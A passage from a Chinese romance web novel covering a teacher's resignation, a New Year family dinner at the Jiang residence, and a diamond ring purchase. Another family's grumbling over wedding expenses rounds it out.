想到这里,悬着的心似乎放下了一点,咧着嘴角做一个笑脸,又大摇大摆地回办公室去了。 校长办公室里,秦女士请白瑾璎坐下,自己也叹着气坐下了,苦笑道:“白老师,你说期末考学前不会辞职,实在是你一番好意,让我不至于措手不及。不过我也看出来了,你能想到这一步,可见是去意已决。你就实话告诉我,是有其他学校来挖角你吗?” 白瑾璎一愣,摇头道:“没有的事。不瞒您说,我来三中教书,本来也是过渡期里找点事做。” 秦校长眉梢微动,问:“这么说,你辞职后,没有跳去别的学校的打算咯?” 不怪她如此在意这件事,学校之间是论分数和教学质量评高低的,自己一个好老师跳槽走了,凭白为其他学校添了助力,换谁都会觉得懊恼。 倒是白瑾璎有些不好意思,解释道:“没有,没有。我的志向,其实更想去外交部门做议员,家里人也都很支持。” 那就是没有利益冲突了。秦校长看着她,立刻又感到一万分的满意,微笑着点了点头:“凭你的才学,去哪里都会有所建树的。好,好,看来外交部门很快就要再添一位人才了。” 谈话的氛围放松下来,秦校长想,既然知道了不能将人留住,那就不妨多问一句了,开口道:“白老师,就当我随口一问好了,你提出辞职,是为了避嫌疑吗?我看程老师的调令来的也太巧,恐怕也是为了避嫌的缘故,按说他走了,你留下也是无碍的。” 白瑾璎扯了扯嘴角叹气道:“说一点不为避嫌,那不能够。我和程老师本来什么事也没有,奈何多嘴多舌的人总爱乱传闲话,搞得我要走,程老师也要调回教育部去了。”心念电转之间,又加了一句,“这种编排年轻老师的风气要是不扑灭,我很担心,哪里还有好老师愿意留下来?” 秦校长本来只是随意地听着,当下神色一凛,露出一点深思的表情来,半晌才说:“是,这话很对。不破不立,为学校的长久计,这个风气决不能起头。” 这一个决定,注定要让缪昌平的一番自我安慰走向破灭了,只是当时当刻,他本人还被蒙在鼓里哩! 白瑾璎因为澄清了原委,又甩脱了流言的包袱,回到办公室时已是一身轻松,又因为猝不及防公布了自己有一个“未婚夫”的缘故,引得不少同事半调侃地来和她道恭喜。 偏偏这一天蒋牧城又来接她,他那辆林肯汽车一停到学校门口,当即就有老师认了出来——这不是白老师那个未婚夫么! 顿时这个笑嘻嘻地说:“白老师,家里的未婚夫来接人哩!”另一个又说:“快走吧,快走吧,不要让人家久等了!” 白瑾璎被揶揄得脸颊泛红,好在他们说话的地方离校门还有段距离,蒋牧城总不至于听到,不然,自己胡乱给他安一个“未婚夫”的头衔,真可以羞得找条地缝钻下去。 只是她想不到,在蒋牧城那一头,早已经受过先一步下班的老师们的一通“问候”了。 客气一点的,就打一声招呼:“啊呀,白老师的未婚夫来接人啦?不要急,白老师下班了,估计马上就下来了。”再大胆一点的,干脆说:“你先生有白老师做未婚妻,真是好福气哦!” 蒋牧城起先还有些莫名,觉得这样大胆的话,不大像是瑾璎会放出来的。可看到白瑾璎走出校门时不住地拿手背给脸颊降温,又暗暗发笑:不必猜了,某些人把做了“坏事”的难为情,都写在脸上了。 为了不把人吓走,当下自然是什么都不能说,最多眼神里忍不住带上一点兴味,只是这样,就被白瑾璎提防似的瞅了好几眼。等到人稳稳地坐上了副手座,车门也关紧了,蒋牧城才施施然开口:“瑾璎,怎么我就是未婚夫了呢?” 白瑾璎简直要尖叫起来,伸手把烧红的脸严严实实地捂着,手上那一枚小巧的钻戒,也就暴露在了蒋牧城眼前。 只是她哪里顾得上?她只恨不能遁地而走呢——干脆背过身去不理睬这个讨厌的人,打开一半车窗,让凉气扑到自己发烫的脸上。 窗外的街景很快地掠过,已然有一些店面,提早挂起了庆祝年节的彩灯。白瑾璎这才惊觉:从夏到冬,自己搬到椿樟街,竟然倏忽间已过去了半年,而新春,也悄然地临近了。 第80章 第 80 章 “你听见了,他让我们自…… 至此, 日子平静地过着,转眼便到了新年。 人人都有春假可以放,有家的人, 自然是赶着回家团圆;没有家的, 多少也有爱人朋友可以去走访。在蒋牧城这里, 当然是要带白瑾璎回蒋公馆一道吃饭, 这是早一个月便说定了的事。 一来, 蒋白两家本来就关系亲厚,在白齐盛的事上,前前后后也总是相帮,这就很可以派白瑾璎做一个白家的代表去问候。二来, 蒋牧城好不容易和白瑾璎确立了恋爱的关系, 像捧着眼珠子一般待她, 当然也想让家里人,对她表示出欢迎。 其实在这一点上, 他实在有些多虑。蒋家一众人对于白瑾璎不光是欢迎, 毋宁说就盼着她来的这一天哩! 故而一过了除夕, 大年初一的头一天, 举家的佣人便都发动起来筹备起了晚饭,那架势, 竟比除夕的年夜饭还要兴师动众。 蒋家人里, 就数蒋太太的期盼之心最盛, 她明面上虽然不说, 可对于儿子的恋爱问题,怎么能不感到焦急?不过她知道蒋牧城一向都是自己拿定主意的人,别人轻易不能说动他,除了在心里盼他开一点窍之外, 也就无计可施了。 是以在蒋牧城宣布了恋爱关系后,那心里,别提有多么高兴。何况那恋爱的对象还是很乖巧讨人喜爱的白瑾璎,简直没有比这更叫人满意的事。 这天一过三点钟,便忍不住地频频去看挂钟,问道:“怎么瑾璎还不来?牧城说去接人,把人接到哪里去了?” 正被打客厅路过的蒋心文听见,笑着道:“这就要问您儿子了呀,他如今把人藏得那么严实,像藏一颗夜明珠似的,也就是今天晚上,愿意带过来在人前现一现呢。” 蒋心文和蒋牧城一母同胞,性格上可是大不相同,讲起话来直白又俏皮,实在是家里活络气氛的存在。她刚嫁人那会儿,蒋太太还发过感慨,怎么只少了一个人,家里就这样安静了呢。此刻好笑道:“什么我的儿子,他就不是你的弟弟了吗?” 蒋心文顽皮地一笑,挨过来道:“是,是。据我知道的,我那弟弟约了人家去公园坐冰床哩。您瞧,爱情神奇不神奇?让一个不解风情的男子,都晓得玩手段了。那冰床划起来多么快,姑娘胆子小的,可不得抓牢了旁边的先生来平衡吗?” 蒋太太听到这里,一改刚才的急切,反倒帮蒋牧城说起话来,道:“你弟弟一年到头都在工作,好容易放个春假,还不让他出去找一点娱乐放松一下吗?我看去公园里划冰床就很好,这是时下年轻人都爱顽的东西。” 蒋心文活络的眼睛一转,笑道:“我看出来了,您是无聊了,想找个人解闷呢。不过您给牧城放了行,可不就剩下我一个了吗?” 又说:“不过我可不会给人解闷,不如把锐锐抓了来,给您弹钢琴吧?为着他不愿意练琴,我和他爸爸都快要愁死了。”说着,脸上带了狡黠的笑容,上楼捉孩子去了。 蒋牧城和白瑾璎,就是在小锐锐满屋子躲猫猫失败,被他妈妈捉住献给姥姥弹了一个小时钢琴,终于“重获自由”不多久的时候到家的。 外头正飘着雪,两人从下了汽车到进屋的这一小段路,大衣肩上便落了不少雪点子。一踏进暖和的室内,蒋牧城便伸手替白瑾璎掸着围巾绒帽上的雪花,连自己的外衣都顾不上脱。白瑾璎倒是随他摆弄,雪白的脸颊上透着红扑扑的血色,也不知是外头的冷风吹的,还是先前在公园里坐冰床顽热的。 不拘如何,蒋公馆的招待绝对可用无微不至来形容。 为着这是主人家格外重视的女客,兴许还是蒋公馆未来的少奶奶,仆从听差们就没有一个不是恭敬小心,殷勤备至地去对待。 两人走进主楼客厅时,恰好蒋太太和蒋心文都不在那儿,最先见到的反而是蒋牧城的小侄子锐锐。小男孩刚要从钢琴凳子上跳下来,一看见自己舅舅领了个美人进来,下意识就想嘴甜地叫一声“姐姐”。但想到蒋心文平日里的“熏陶”,硬是将到嘴的词转了个弯,喊了声“姨姨”。 这一个称谓可是很有门道的。 设若叫“姐姐”,那和“舅舅”就差着一个辈份,自己这个不苟言笑的舅舅势必要不开心;设若直接喊“舅妈”,那又太没有含蓄之美,据妈妈说,舅舅的这一位女友很腼腆哩,我要是让她发窘,这一笔账,舅舅势必也要记到我的头上。 但“姨姨”则不然。 非但和“舅舅”很是对仗匹配,等哪一天舅舅同她结婚了(舅舅指定是要同她结婚的!),我也可以拿一个改口的红包呀! 锐锐很为自己的小心思感到满意,为着和未来的舅妈打好关系,甚至主动又爬回到琴凳上,活动着肉乎乎的手指,给她表演了一首小进行曲。完了,把琴凳让出来,对白瑾璎邀请道:“姨姨也来弹一首吧?” 白瑾璎本来正拍着手呢,闻言就是一僵,但看着锐锐那双亮晶晶的眼睛,实在说不出拒绝的话,只好硬着头皮在钢琴前坐下。 锐锐很是自得,在白瑾璎坐下后,还凑过去和她讲悄悄话,揭蒋牧城的短道:“姨姨,我告诉你,舅舅他可笨了。弹起钢琴来,手指之间就像长了蹼似的。”自诩这一番互动,必定和白瑾璎拉近了不少距离。 想不到白瑾璎正窘迫着呢! 她小时候正经学钢琴的时候弹得就糟糕,何况这都好几年不弹了,不要说拿不拿得出手,连谱子都不记得多少。 她心虚似的地看了锐锐一眼,只抬了右手,在黑白键上弹了首极简单的儿歌,来来去去就几个音符,弹了两遍,也不见把左手伸上来。弹过第三遍后,干脆把右手也撤离了,这就是表演结束了的意思。 白瑾璎窘得要命,在她弹的途中,分明听见蒋牧城轻笑了一声,以至于她都不敢扭过头看一眼他的表情。 再说锐锐,在听完白瑾璎的钢琴后就沉默下来,看看这个又看看那个,觉得自己无意间似乎犯了许多错误,一时间,小脸上的自得都没影了。同时,对于白瑾璎的钢琴水平,又实在无话可说,心想,都说“人以群分”,难怪她爱和我舅舅相处呢。 撅着小嘴,没精打采道:“还是你们俩顽吧。”迈着小短腿,一溜烟儿地跑远了。 这只小电灯泡一走,蒋牧城便一改沉稳寡言的样子,背着手踱到白瑾璎旁边,俯下身来凑过去道:“你听见了,他让我们自己顽呢。” 白瑾璎还是羞窘,心想自己才刚到蒋公馆呢,就已经丢过一回脸了。但想到锐锐刚才说的,蒋牧城弹起琴来也是一塌糊涂,又马上仰着头道:“不成,不成。我都献丑了,你也要弹一首。”说着就站起身来,要把琴凳让出去。 蒋牧城微微动着眉梢,问:“我为什么要弹?”同时伸手过去拢住白瑾璎的腰肢,宽大的手掌正罩在她后背上,略微用一点力,就要把人往自己怀里推。 见白瑾璎下意识地一手抵在自己胸口,另一手抓了自己的小臂不肯相就,又揶揄地问:“怎么这样见外?刚才划冰床的时候,不是还抱着我的胳膊叫我不要松手吗?才弹了首曲子,怎么就变了?”轻轻地一笑,“那我更不能弹了。” 他这幅揶揄人的样子太坏了! 白瑾璎又想攥着拳头锤他两下,但看着那宽阔伟岸的肩膀就在自己眼前,又很想直接地靠上去,横竖做一时的鸵鸟,也就看不见这讨厌的表情了。这两个念头盘踞在脑子里,真像是在进行一场拉锯战似的。 眼看后一个念头将将就要胜出,就听见二楼传来一阵脚步声并说话声,似乎是蒋太太正在下楼。 白瑾璎吓了一跳地往后躲开,这一次,蒋牧城倒没有和她为难,只是转而牵了她一只手在手里。白瑾璎只有一只手的自由,便拿手背贴着半边脸颊,试图让脸上升腾的热意,消退一点下去。 来人果然是蒋太太带着蒋心文,还有一个锐锐躲在他妈妈身后,悄悄地探了个圆脑袋出来偷觑。蒋太太拉了白瑾璎的手就舍不得放开,蒋牧城倒是很自觉,知道争不过自己的母亲,大方地放人,让白瑾璎和长辈谈天去了。 留下一个锐锐倒是愿意往他旁边凑,说:“舅舅,我陪你说话吧。你看过我收集的小汽车了吗?再差一部红色的,就收集齐了。”说着,故作羞涩地一笑。 蒋牧城也被他逗笑了,故意说:“舅舅不想说话,还是想听钢琴,你再弹上半个钟头,我就买给你。” 锐锐顿时垮了脸,他今天真是早也弹晚也弹,都弹过好几遍了,连钢琴的黑白键都不想看见。是以哼哼唧唧地敷衍几下,又跑得没影了。 蒋牧城也不在意,自顾自坐在沙发上出神。好在他寂寞的时间并不算久,不出一个钟头,蒋心文的先生便提了礼物上门来。女士们的话题他加入不进去,锐锐又躲着他爸爸走,这就给蒋牧城送来一个可以闲谈的伴。 又过半个钟头,贵人事忙的蒋先生也回到家。此时正是晚上七点钟,一桌热菜均已备好,就等着开饭了。 白瑾璎总算是被蒋太太牵着手带下楼来。入座的时候,蒋太太是很想让她坐在自己身边的,不过到底慢了一步,蒋牧城早早给蒋心文递了一个眼神,后者倒是领会得很快,抢了蒋太太身边的位子一坐,道:“妈,我这个女儿也是难得回家,很该坐在你的旁边。” 另一边,蒋牧城朝白瑾璎招了招手,这一只漂亮可人怜的雏鸟,也就失而复得地回到了身边。 80-90 第81章 第 81 章 “这下,你总算得偿所愿…… 蒋兆明一向不是爱摆架子爱说话的人, 一上饭桌,就让大家各自起筷吃饭了。 因为大女婿难得来一趟的缘故,就分走他大半交谈的火力;另一边的蒋太太和蒋心文则要看着锐锐, 不让他挑食, 还得在他忍不住上蹿下跳的时候按住他。 反倒是蒋牧城和白瑾璎的分工最为松快, 只需要偶尔隔着圆桌和对面的蒋家母女闲谈两句, 吃个八分饱, 再喝一碗鲜鲜热热的鱼汤,还有工夫在桌子底下顽拍手心的小游戏。 白瑾璎容易紧张又易受惊吓,在这种考验反应力的游戏上无疑要慢上一拍;蒋牧城倒是会让她一下,但让得也很有限, 实在是白瑾璎战战兢兢地盯牢了自己的手, 有一点风吹草动便要往后缩, 还时不时怯生生抬眼看他的样子,有一种让人心软的可怜可爱。 结果也就可想而知, 哪怕蒋牧城是收着顽的, 白瑾璎还是输多赢少。 二人偷偷地玩闹, 自以为很隐蔽, 奈何蒋牧城是第一次带女孩回家来,且带的还是白瑾璎, 这就不能不让长辈们多分出一点慈爱的关注;何况他们旁若无人做游戏的样子, 伴随着脸上笑容神态的变化, 本身也够引人注目了。 譬如这一局照例是白瑾璎输, 蒋牧城的手很轻地拍到了她的手背,说是拍,倒不如说是按更为妥当。 白瑾璎鼓了鼓脸颊,像是有一点不高兴的样子, 蒋太太就开口了,教训蒋牧城道:“阿璎是女孩子,你就不能让着她一点吗?” 白瑾璎惊觉自己开小差被抓了个正着,下意识就要把手抽回去,硬是被蒋牧城捉住了攥在手心里,又摇撼了两下,笑着问她:“你要我让你吗?” 他在家里大概也少有这样情意缱绻的样子,一下就把蒋太太逗笑了,满脸趣味地对着儿子打量起来,连蒋先生也忍不住笑了一声,蒋心文则一连“哎哟”了两声,故意对旁边传菜的女佣人道:“快,快把甜汤端上来,要不是满桌子没瞧见,我还当我已经喝了一大碗了呢!” 在这一桌和乐融融的气氛里,蒋太太笑说:“真看不出,爱情是会让人变样的,这话,我现在很相信了。” 又问白瑾璎道:“你们平常爱做什么?牧城这个人,有时候怪无趣的吧?”但她态度格外的亲和,那意思像是说:我这个儿子,纵然古板又无趣,也请你多多担待,可不要半道上丢开不要了。 只是还不等白瑾璎回答,蒋心文倒先抢着道:“我知道,人家两个,还爱一起捐款哩!” 拿餐巾拭着嘴角,笑道:“你们不相信吗?我可是有凭证的。”说着,由座位上站起来,一个漂亮的转身,就翩翩然地跑出客厅上楼去了。不一会儿,又由二楼翩翩然地回来,手里多了一张报纸。 蒋心文将那页报纸展开了,指着其中一块小小的感谢文,对蒋太太道:“您瞧这上头写的,‘某小学得以继续经办,为家境贫困之学子行教育之天职,盖因于外交部教育部举办的学术交流会上获捐助款多笔,其中,以蒋先生、白小姐捐款尤多,特此鸣谢二位,襄助我校渡过难关。” 蒋心文带了狡黠的微笑,望着蒋牧城道:“本来么,天底下姓蒋姓白的人何其之多,未必就是咱们家这两个。不过我又一瞧,这教育部举办的交流会,不就是咱们老二先前硬挤出时间也要去参加的活动吗?这世上,真有这么巧的事吗?” 对于受捐款方会特意登报感谢,蒋牧城倒是没有想到,但这感谢文将他与白瑾璎并排写在一处,言辞又很朴实诚恳,那就不令人讨厌。 他见不得自己姐姐得意洋洋很洞悉他的样子,存心要杀她的锐气,淡淡道:“想不到你看报纸这样细致,连犄角旮旯里的小启事也不放过,真了不起。” 但对上蒋太太满是趣味的眼神时,脸上到底流露出一点高兴,说:“阿璎心软,而且那办学的负责人,看着也很诚心。” 这一番回答,也不知打动了蒋太太心里的哪一处,她格外的高兴起来,还隐隐带着几分期盼,于是众人谈着谈着,就谈到了蒋牧城和白瑾璎的婚期。蒋太太说:“牧城属虎,我恍惚记得明年不宜结婚,不如再等一年?” 蒋心文瞅了一眼蒋牧城的脸色,揭穿道:“再等一年,他要不乐意了,横竖现在是年头,时间还很宽裕,不如就赶在今年把婚礼办了的好。” 最后还是蒋先生发话道:“只要两个孩子乐意,什么时候办婚礼都好。不过真要结婚的话,阿璎那一边,就很有必要和你大姐姐商量着一道筹备了,还有你住在国外的舅舅舅妈,也需要请回国来参加典礼。” 就算给这话题做了一个汇总陈词。 一顿饭其乐融融地吃到了晚上近九点钟,送白瑾璎走的时候,佣人们心照不宣地都没有往前凑,只留这一对小情侣去说悄悄话。 蒋牧城正要从玄关的衣架上取下女式大衣,忽听白瑾璎抚着头顶发了一句疑问:“我的帽子呢?”外头下着雪,她进屋时是戴一顶绒线软帽的,也不知什么时候取了下来,又丢在了哪里。 蒋牧城笑了一声,说:“你站着别动,我去给你找。” 他记得倒很清楚,白瑾璎进屋时并没有摘下帽子,自己在钢琴前逗她的时候,她还好好的戴着那顶白色的绒线软帽,衬着她脸上的红晕,有种软绒绒的可爱;反倒是晚饭前从楼上下来时,那帽子就不见了。 于是回到二楼,果然在小花厅的沙发上找到了那顶女帽,大约是和蒋太太蒋心文喝茶聊天时觉得热了,这才摘下的。 拿了帽子折返时,又撞见了蒋兆明,也不知后者是不是特意在等着他,一见到蒋牧城,便意味深长地微笑道:“这下,你总算得偿所愿,可以高兴了。” 那是什么意思,蒋牧城似乎心知肚明,微微地一笑,并没有作答。 蒋兆明又说:“你虽然是我儿子,我也要提醒你一句。阿璎在家里也是被如珠如宝地捧在手里的,你不要得手了就不知道珍惜。” 蒋牧城望着他父亲道:“我自己求来的东西,哪一样不珍惜?” 蒋兆明对自己儿子的品性向来很信得过,本来也是白说一句,想到他在海关总署里,也曾费了大力气地求权求职,真坐到了副总长的位置,确实也不见他浮躁胡来,反倒很勤勉稳妥。想必在感情上,也能恪守这一份准则。 多的话也就不必说,蒋兆明伸手在蒋牧城的肩膀上用力按了两下,那意思似乎是:感情里不光光有甜蜜,还有一份很重的责任在的。冲他点一点头,带着很欣慰的神情走开了。 蒋牧城回到玄关时,白瑾璎仍是很乖巧地站在原地,见到他来,眼里猝然闪着亮光道:“你回来啦。”看到他手里拿的女帽,才又“啊呀”了一声,“你真找到了呀。” 因为佣人们谁也不来打扰的缘故,自己从衣架上取下蒋牧城的大衣提在手里,要替他穿上。 蒋牧城刚刚获得了父亲的肯定,如今又有爱人甜蜜体贴的照料,整个人好似浸在温水中一样舒坦,从善如流地背过身穿上后,竟又恃宠而骄似的,转过身道:“帮我系扣子。” 白瑾璎不疑有他,伸出细白的手指一颗一颗往下系,脸上的神情专注又认真。 蒋牧城凝视着她,实在压抑不住内心不断涌出的爱意似的,蓦地俯下身,在那白皙的侧脸上吻了一吻。 白瑾璎吓了一跳,刚要拉开一点距离,就听见不远处一阵得得而过的脚步声,紧跟着蒋心文调笑的声音便飘过来:“我怎么走到大门口来了,我分明是要去二楼放留声机的——啊呀,那不是我的好弟弟吗,怎么磨磨蹭蹭的,才刚穿上大衣?快把阿璎送回家去吧,有意拖延时间,这就有失风度了。” 掩着嘴嬉笑两声,赶紧跑了。 白瑾璎被罩在蒋牧城的怀里,满眼只看见他烟灰色大衣的前襟,对于蒋心文是只闻其声不见其人。心想,恐怕她是路过时刚好撞见了他们亲昵,有心要走开,但又忍不住来糗蒋牧城一句。 蒋牧城却不受她的调笑,反而拉着白瑾璎的手走动几步,进了玄关旁的一处电话间,又将门阖上。 这一次没有耳目叨扰,他干脆将白瑾璎抱坐到电话柜上,微微仰着头去吻她的唇。 蒋牧城的吻总是连绵不绝,辗转地吻过一次后,稍稍分开一点匀一口气,又会有下一个吻贴过来。吻到后来,白瑾璎也有些沉醉迷糊了,两手勾着他的脖子,好借一点力,以防自己瘫软下去。 直到蒋牧城结束了又一个吻,似乎心情很愉悦的样子,凑在她唇边说:“阿璎,你的手在我衬衣里。” 这才惊觉自己攀着他后颈的手不知是怎么回事,已经伸到了衣领里头,触碰着他似乎蕴藏了蓬勃力量的温热的皮肤。 白瑾璎大窘,脸上烫得几乎可以烧水了,一面又觉得自己这样的反应好没出息,怎么蒋牧城亲她,就可以面不改色呢? 于是轻抬了眼睫,硬着头皮说:“我、我不能这么做吗?” 蒋牧城很深地凝视她一眼,随后又是一个吻倾覆上来,这似乎就是一句无声的回答。过了不知多久,才终于微喘着后退,分明退开了,又忍不住凑上来啄吻几下,到底是说:“我送你回去吧,不然,我真要对你失掉风度了。” 他当然怎么说都好,因为白瑾璎已然软作一团,只能任人去摆布了。 第82章 第 82 章 这一颗耀眼的钻石,完完…… 过年期间, 多数店面都会因店主返乡或是忙于阖家团圆而挂牌停业,但诸如百货公司或大酒店洋货行之流,总不会关停的。毋宁说, 有钱人家在年节里外出玩乐, 这正是他们揽客的好时机哩! 是以, 像白瑾瑜这样家里已没甚长辈的, 和孟西洲这样长辈们都定居国外的, 会在这时候挽着手四处闲逛,也就不足为奇了。 不光是挽着手,孟西洲一双眼睛近乎有些痴迷地盯着白瑾瑜看,要不是考虑到出门在外影响不好, 他恐怕绝不会仅满足于挽手, 非要把人整个的抱到怀里才好。同时, 脚步一路去往首都很负盛名的一家洋货行。 那洋货行是西式的装潢,晶莹的玻璃旋转门前还有两级台阶, 孟西洲的皮鞋就这样直直地磕在台阶上, 还好有白瑾瑜及时地搀扶着, 只是踉跄一下, 不然,真要在这气派体面的店门前很不体面地绊一跤了。 白瑾瑜无奈地瞧了她一眼, 问:“你今天怎么回事?从早上开始就恍恍惚惚的。” 孟西洲自己也觉得好笑, 扶了扶额, 只是视线再看向白瑾瑜时, 又像掺了浆糊似的挪不开了,将手里白瑾瑜的手捏了一下,说:“就是啊,我今天怎么了?是我高兴得飘飘然了, 还是你昨晚对我施了什么法术呢?” 说着,情不自禁地俯下身,似乎是想要吻一吻她。 白瑾瑜惊慌地横了他一眼,随即也情不自禁一般,扑哧笑了一声,说:“不要在人家店门前发疯了吧?”依旧将孟西洲的胳膊挽着,率先迈开脚步,将他带进了大门。 洋货行里柜面琳琅满目,一盏盏西式吊灯即便是白天也点亮着,将玻璃柜里的饰品物件照得璀璨生辉。 白瑾瑜是抱了随便看看的心思进来的,孟西洲却很有目的性,把人拉到钻石戒指的柜面,就要她选一枚。 他们如今切实是很亲密的关系了,孟西洲让她挑选,那她就大大方方地挑呗。试戴过几枚后,选中了其中一枚主钻周围又环绕一圈碎钻的钻戒,想不到孟西洲直接就喊人签了单,也不要首饰盒,径自将那枚钻戒,很庄重地戴到了白瑾瑜的左手中指上。 白瑾瑜扬了扬眉梢,将手举到眼前欣赏着,笑问道:“这算什么?莫不是提前送我的生日礼物?” 孟西洲目光缱绻地笑了一下,看向她道:“你的生日是什么时候,我总不会忘记,为什么要提前送?我送你戒指,你真不知道是为什么吗?” 白瑾瑜抿着微笑沉吟着,显然是知道的,却并不明说,故意将戴了钻戒的手伸到他眼前,打趣道:“真不是生日礼物吗?那就是平白无故送的礼物了,孟老板,好大方呀。” 孟西洲对她揣着明白装糊涂的回答显然不大满意,但由他的神态也可以知道,那不满意迅速便被高涨的爱意漫过了,嘴角压也压不住地重新上扬起来,道:“怎么是平白无故?凭我们现在的关系,我送你戒指,不是理所当然吗?这就算是一个承诺,一个誓约了。” 白瑾瑜像是被他灼灼的眼神烫着了似的,难得露出一点腼腆之态,手也收回了,只是抬在眼前,另一只手拨弄着戒指上闪烁夺目的钻石,明知故问道:“我们是什么关系?” 孟西洲真想像昨晚一样,再把她抱到床上好好“欺负”一下,省得她再问出这样气人的问题。故意冲她咬牙切齿道:“我们是什么关系?望你以后被人这么问的时候,能回一句‘未婚夫,而不是左一句‘孟老板右一句‘孟老板的,净来气人。” 白瑾瑜目光含笑地瞧着他,竟也没有反驳,只是伸出手来又问了一次:“好看吗?” 这简直近乎于默认的意思了!孟西洲像是掉进了一场美梦里似的,两眼一瞬不瞬地盯着她看,压根没有偏离,想也不想地就说“好看”。 白瑾瑜笑着捶了他一下,说:“我说的是钻石,你在看哪里?” 孟西洲这才回过神来,将她戴了戒指的手握到自己手心里,坚持道:“我说的也是钻石。而且这一颗耀眼的钻石,完完全全,已经是我的了。”说着,牵着她的手到唇边,低头贴了一贴。 饶是白瑾瑜这样见过世面又心志坚定的女子,也有点吃不消。一来是因为他将自己比作钻石,心里固然高兴;再来就是孟西洲这种缠绵厮磨的劲头,先生们在发生亲密关系后,难道都是这样粘人的吗? 真闹不明白。 耳朵尖透出一片薄粉色,硬是和孟西洲拉开一点距离,小声警告道:“我看你真是疯了,大庭广众,在人家店里演这样肉麻的爱情戏。” 她这样说,孟西洲尽管藏不住眼神,到底在行动举止上克制起来,不再执着于吻她,只是牵了手道:“我们这些凡夫俗子,哪一个没有爱情戏?反正你是我这一部戏里的女主人公,跑不了了。” 将两人十指相扣的手举了一举给她看,微笑着迈开步子往前走。 只是没走几步就被白瑾瑜拉住了,后者突发奇想似的道:“既然是双方之间的‘承诺,那就类似于合约,我不送你一点回礼表示诚意,似乎说不大过去。”于是将人带到一扇玻璃柜前,对着柜面一拂手,“挑吧。” 孟西洲的眼底亮了一亮,很有兴味地问:“你要送我袖扣吗?那我真要好好挑一挑,你也陪我一起,给我一点意见吧?” 白瑾瑜人已经凑了过来,嘴上却说:“你这样有决断的人,还需要别人的意见吗?” 他们二人手臂抵着手臂,依偎着,已经靠在柜台上看了起来。孟西洲就在这极近的距离下低头道:“怎么不需要?我穿戴给谁看,当然要问问本人的意见,不拘是袖扣,往后多得是东西要问你呢。” 这一个角落,固然是甜蜜非常,然放眼整个洋货行的大厅,许许多多的客人里,难免也有氛围不那么愉快的。譬如这其中就有一对老夫妻,一进到店里,就带了不快的神色。 尤其是里面的太太,忿忿不满道:“那女人真想得出,金戒指看不上,非要火油钻的,这东西,米粒大的一颗就是老价钱!咱们儿子,这是要接一尊大佛回家哟!” 见旁边的先生不搭自己的话,又说:“听听她的口气,原本还以为是多高贵的千金小姐,也就是个处长的女儿罢了。就我们世新的样貌,娶总长的女儿也是绰绰有余!我们世新,还真就谈过总长的女儿哩!” 一旁的先生终于忍不住打断她道:“行了行了,就算他谈过总长的女儿,不也分手了吗?当初不就是你死活不同意吗?别多话了,既然想要儿子顺利结婚,那人家提出的条件,咱们就照办,先看看吧。” 那太太闭嘴之前,还是嘀嘀咕咕地驳了一句:“我当初为什么反对?那她还是总长的女儿吗?哼。” 原来这一对老夫妻,正是柳世新的父母。 话说柳世新与白瑾瑜分手后,很是消沉了一阵子,同科室的钱永善便是钻了这个空子趁虚而入,将他带入堕落的大门。柳世新虽然糊涂,跟着他荒唐了几次,但总算也不傻,没有真的一脚踩进泥潭里。 之后不久,钱永善便因为作风问题被船务公司开除了。同事们因为柳世新此前与钱永善走得很近的缘故,多少带一点有色眼镜去看他,他自己倒先受不了了:男子汉大丈夫,何必非要死守在一个公司里受气? 于是愤而递交了辞呈。 好在他样貌生得极为出挑,又有海外留洋的经历,很快又找到了新工作,在一家洋车行担任经理。 工作稳定下来,可姻缘却怎样都不顺。柳太太野心勃勃,一天到晚撺掇儿子去找有钱有权的,起初倒真是交往上一位富家小姐,人家的父亲,在首都商会里都排得上名号,可把柳太太激动坏了,直觉自己的一只脚,已迈进富贵的殿堂里了。 可她很快就发现满不是这一回事。 富贵人家的小姐压根看不上她哩!连见面也不见。最后还是她自己找了个借口,眼巴巴地去请人家吃饭,那小姑娘对她的问话爱搭不理不说,看她的眼神,就没有比看一个老妈子好多少! 想她柳家虽然称不上大富大贵,但能送儿子出国念书,经济上总是不差的,她哪里咽得下这口气呀!再想想儿子从前那个姓白的女友,虽然也不爱见面,但到底很懂事,过年过节,总有礼品送到,哪像现在——年轻的小姑娘,真是一点礼数没有! 她这边正满腹怨气,哪想到柳世新那一边,干脆就以分手告终了。 原来那富家小姐根本也不是诚心谈感情,不过是冲着柳世新的好相貌,新鲜一阵子罢了,觉得腻味了,也就把人甩开了。为此,柳世新倒像是很受打击的样子,似乎恍然间明白过来:凭你有再好的皮囊,真心——不,不必说真心,连真诚都是很难得的。 瑾瑜固然强势一点,可她是真诚的、有担当的、讲道理的,她也曾是真爱我的。 这样的人,世上还能再有吗? 每每想到这里,柳世新都不免苦笑。他就是带着这种空落落的丧失感,和柳太太寄予的厚望,兜兜转转,总算又交往了一位处长家的女儿,同样是个脾气不小的娇小姐,但谢天谢地,她好歹是真喜欢,两人终于是奔着结婚而去了。 第83章 第 83 章 “怎么没有?还有来日方…… 为着那处长的千金很爱慕柳世新的缘故, 别的都可以商量,唯独结婚时必要的几样不能马虎。结婚照片要在最好的照相馆拍,婚宴要在首都有名的春华大饭店办, 当然了, 婚戒也要买时下最流行的火油钻。 也不知是好是坏, 但凡女方是有钱有势的人家, 提的条件固然不多, 但规格和要求却是很高的。 又对于结婚这件事,柳世新本人的意愿其实并不强烈,但柳家的二老很着急呀!他们也算看出来了,真正富贵的女子, 未必会将他们这样的人家看在眼里;何况容貌是会消减的东西, 设若外貌是吸引人的最大筹码, 那就更要抓紧了!这一点上不拘男女,都是一样的。 这样看来, 处长这职务就很合宜。条件比自家好, 可又不至于好的离谱, 等两个孩子结了婚, 自己这边也不至于一句话都说不上。柳先生并柳太太一合计,心道, 势必要将这婚礼推进下去! 把家里的收益和存折簿子摊开了一算, 真是吓人一跳!光是酒席就所费不小哩! 柳世新本来工作也没有几年, 近来又换了新工作, 能有几个存款?不还是要做父母的想帮一下吗?出是出得起,但一气儿要拿出这么多,真是心疼得什么似的!酒席和结婚相片是框死的价格,浮动的余地不大, 但戒指是很活络的东西呀,根据款式不同,大有节约的空间。 柳太太走在这金碧辉煌的大厅里,被四处的珠光宝气震慑着,总觉得束手束脚放不开,抱怨道:“别的洋货行没有钻戒吗?何必来这最好的一家?我听说在这里买东西,为着环境和服务好的缘故,要比别家洋货行更贵呢!” 柳先生嘘了她一声,说:“大过年的,小一点的洋货商店也不开呀。何况我们是来看价格,全北京城里,就数这里的货最全,我们都看一看,心里也好有个数。” 